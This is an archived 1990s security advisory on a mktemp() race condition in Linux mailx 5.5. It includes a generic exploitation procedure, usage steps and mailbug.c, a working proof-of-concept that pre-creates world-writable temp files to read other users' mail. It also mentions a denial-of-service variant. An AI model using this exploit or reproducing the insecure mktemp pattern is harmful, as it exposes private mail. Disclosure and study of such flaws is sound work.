home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_ma.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  8.3 KB  |  172 lines
  1.  
  2. FEH
  3.                      Linux 'mailx' Security Holes
  4.  
  5.  
  6.    There is a problem prevalent in the way many programs implement their
  7. usage of mktemp() in order to create temporary files in /tmp, allowing users
  8. on a machine to read and write to the contents of temporary files created.
  9.    The basic problem is that there is a race condition that exists between
  10. the point that a program calls mktemp(), and the pathname returned by mktemp
  11. is actually created.  For some programs, the file creation is immediately
  12. or almost immediately following the mktemp(), resulting in an extremely
  13. small window of opportunity, and as a result making it very difficult to
  14. exploit.  However, there are other programs that do not immediately open
  15. the file, and in these cases it is only a matter of getting the timing
  16. right in order to exploit the hole.
  17.    To exploit this hole, simply create the file that mktemp() returns as
  18. a valid temporary filename after mktemp() has been called, but before the
  19. file has been opened, allowing the user running the program permissions to
  20. read and write from that temporary file.  The program will then succeed in
  21. an fopen, and will write to the file, oblivious to the fact that it didn't
  22. actually create the file, and that others can also read and write from the
  23. file.
  24.    Note that most programs will immediately unlink() a temporary file, but
  25. that does not delete it until after it is closed.  Closing a file results in
  26. the contents of it being flushed, and so by using a 'tail -f' or a similar
  27. procedure, you can capture the contents of the file before it is removed
  28. from the filesystem.
  29.    The filename returned by mktemp() is easily determined for most unix
  30. platforms, allowing this bug to be exploited.  For the linux libc, this is
  31. to replace the X's in the template with the leftmost digit starting at 'a',
  32. and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
  33. already exists), and then replacing the rest of the X's with the process id
  34. (0 padded).  Other operating systems use a variation of this technique,
  35. experimentation easily reveals the algorithm.
  36.    The generic procedure used to formulate an exploit for a particular program
  37. with this bug is as follows:
  38.           1. detect the execution of the program.
  39.           2. determine the temporary filename that mktemp() will return
  40.              when called by the program.
  41.           3. determine the point at which mktemp() is called by the program,
  42.              and immediately following that point, create the file, with
  43.              rw permissions for the user who is running the program.
  44.           4. read the contents of the temporary file, using a 'tail -f' or
  45.              your own routines.
  46.           5. if the sticky bet is set on /tmp, clean up your mess by rm'ing
  47.              the temp file you created, since the unlink() called by the
  48.              actual program will fail if you are the owner.
  49.  
  50.    Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
  51. from this mktemp() problem in all temporary files it creates.  It uses 5
  52. temporary files with filenames generated during the program's initialization
  53. in a tinit() function, and then uses them as it becomes necessary during the
  54. program's execution.  The race condition begins in this tinit() function.
  55. The temporary files that can be exploited are as follows:
  56.    /tmp/ReXXXXXX
  57.        Used when a user selects 'e' from the mailx command prompt, to edit
  58.        mail.  The message the user has selected to edit is copied to the
  59.        temporary file at this point, and then the editor is invoked on that
  60.        temp file.  The race condition ends when the user has selected 'e',
  61.        and allows the mesage being edited to be read.
  62.    /tmp/RsXXXXXX
  63.        Used when a user sends mail, usually from the command line, such as:
  64.        'mail dave'.  The race condition ends when EOF is recieved from stdin,
  65.        and the message is about to be sent, and allows the outgoing mail to
  66.        be read.
  67.    /tmp/RqXXXXXX
  68.        Used when mail arrives into the mail spool while mail is currently
  69.        running.  The race condition ends when the program is preparing to
  70.        shutdown, and allows the new contents of the mail spool to be read.
  71.    /tmp/RmXXXXXX
  72.        Used to prepend a message to the user's mbox file.  Prepending
  73.        requires the entire mbox contents to be read to the temporary file
  74.        and then appened to the new message(s) being added to the file.
  75.        This is disabled by default in Slackware 3.0 in the /etc/mail.rc
  76.        by the use of the set append option.  For this to be useful, that
  77.        option needs to be removed from /etc/mail.rc, or an unset append
  78.        needs to be added to the user executing mail's .mailrc file.  The
  79.        race condition ends when the program is preparing to shutdown
  80.    /tmp/RxXXXXXX
  81.        Used to read messages from the user's mail spool.  The race condition
  82.        ends during the program's startup, when the mail spool is read, and
  83.        allows any new mail in the user's spool to be read.  Because there
  84.        is no user input between tinit() and this point, it is the only
  85.        race condition that isn't completely trivial to exploit.
  86.  
  87.    The exploit that follows demonstrates the flaws in all but the final
  88. temporary file.  To use, wait for a mail process to execute, then call the
  89. mailbug program with the process id as an argument, and finally execute a
  90. tail -f /tmp/R*, and let it run until the mail program has terminated
  91. execution.
  92.    As an aside, there are a number of programs that are vulnerable to a
  93. directed denial of service attack preventing people from using them by
  94. creation of the 62 temporary files that are attempted to be used by mktemp(),
  95. resulting in the failure of the program to run.  By continous running of a
  96. program watching for these vulnerable programs to start, they can be prevented
  97. from ever successfully executing (one such example of this is in.pop3d, which
  98. would allow a denial of service attack against a specific user from recieving
  99. mail through pop).
  100.  
  101.                    Program: mailx-5.5 (/bin/mail)
  102. Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
  103.               Requirements: account on system, user using /bin/mail
  104.            Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
  105.        Security Compromise: any user with an account can read incoming, edited,
  106.                             or outgoing mail if the mail is processed by mailx.
  107.                   Synopsis: The predictability of mktemp() is exploited to
  108.                             create the temporary files after the filenames
  109.                             have been determined but before they are actually
  110.                             created, allowing the mail being dumped to those
  111.                             temporary files to be read by the creator of the
  112.                             files.
  113.  
  114. mailbug.c:
  115. /* This program creates temporary files used by mailx (/bin/mail under
  116.    Slackware 3.0), which can then be read by the program.  This will
  117.    exploit 4 of the 5 temporary files, the final temporary file is a
  118.    tighter race condition, and is not handled by this code.
  119.    Following execution of this program with the process id of mail that
  120.    is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,
  121.    and allow it to run until the mail process has exited.  This can be easily
  122.    handled in a shell script, but is not included since it is not needed to
  123.    sufficiently demonstrate the security flaw.
  124.  
  125.  */
  126.  
  127.  
  128. #include <stdio.h>
  129. #include <sys/stat.h>
  130. #include <sys/types.h>
  131. #include <fcntl.h>
  132.  
  133. void exploit_mktemp(char *dest, char *prepend, char *pid)
  134. {
  135.   int i;
  136.  
  137.   strcpy(dest,prepend);
  138.   for(i=strlen(pid);i<6;i++)
  139.     strcat(dest,"0");
  140.   strcat(dest,pid);
  141.   dest[strlen(prepend)] = 'a';
  142. }
  143.  
  144.  
  145. main(int argc, char **argv)
  146. {
  147.   char tmpf[5][80];    /* hold filename */
  148.  
  149.   umask(0);
  150.  
  151.   if(argc<2)
  152.     {
  153.       printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
  154.       return -1;
  155.     }
  156.  
  157.   /* get mktemp filenames */
  158.   exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
  159.   exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
  160.   exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
  161.   exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
  162.  
  163.  
  164.   /* create temporary files */
  165.   creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  166.   creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  167.   creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  168.   creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  169.  
  170. }
  171.  
  172.